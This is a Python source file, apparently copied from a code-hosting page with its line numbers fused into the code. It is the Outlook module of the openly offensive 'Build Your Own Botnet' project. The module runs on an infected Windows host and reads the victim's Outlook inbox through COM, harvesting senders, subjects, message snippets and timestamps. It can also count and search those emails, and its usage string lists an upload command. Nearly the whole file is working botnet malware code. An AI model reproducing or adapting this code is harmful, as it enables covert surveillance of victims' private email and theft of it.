Path: blob/master/web-gui/buildyourownbotnet/modules/outlook.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Outlook Email (Build Your Own Botnet)'34# standard library5import sys6import time7import json8import threading910# packages11if sys.platform == 'win32':12import pythoncom13import win32com.client1415# utilities16import util1718# globals19packages = ['win32com.client','pythoncom']20platforms = ['win32']21results = {}22usage = 'outlook <get/count/search/upload>'23description = """24Interact with the Outlook email client application on the client host machine25"""2627# main28def _get_emails():29pythoncom.CoInitialize()30outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')31inbox = outlook.GetDefaultFolder(6)32unread = inbox.Items33while True:34email = None35try:36email = unread.GetNext()37except:38break39if email:40sender = email.SenderEmailAddress.encode('ascii','ignore')41message = email.Body.encode('ascii','ignore')[:100] + '...'42subject = email.Subject.encode('ascii','ignore')43received = str(email.ReceivedTime).replace('/','-').replace('\\','')44globals()['results'][received] = {'from': sender, 'subject': subject, 'message': message}45else:46break4748def installed():49"""50Check if Outlook is installed on the host machine51"""52try:53pythoncom.CoInitialize()54outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')55return True56except:57return False5859def search(s):60"""61Search the emails in the Outlook inbox62"""63pythoncom.CoInitialize()64outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')65inbox = outlook.GetDefaultFolder(6)66emails = util.emails(inbox.Items)67for k,v in emails.items():68if s not in v.get('message') and s not in v.get('subject') and s not in v.get('from'):69emails.pop(k,v)70return json.dumps(emails, indent=2)7172def count():73"""74Count unread emails in Outlook inbox75"""76if len(globals()['results']):77result = len(globals()['results'])78else:79pythoncom.CoInitialize()80outlook = win32com.client.Dispatch('Outlook.Application').GetNameSpace('MAPI')81inbox = outlook.GetDefaultFolder(6)82result = len(inbox.Items)83return "Emails in Outlook inbox: {}".format(result)8485def run():86"""87Run the Outlook email module8889"""90t = threading.Thread(target=_get_emails, name=time.time())91t.setDaemon(True)92t.run()93return t949596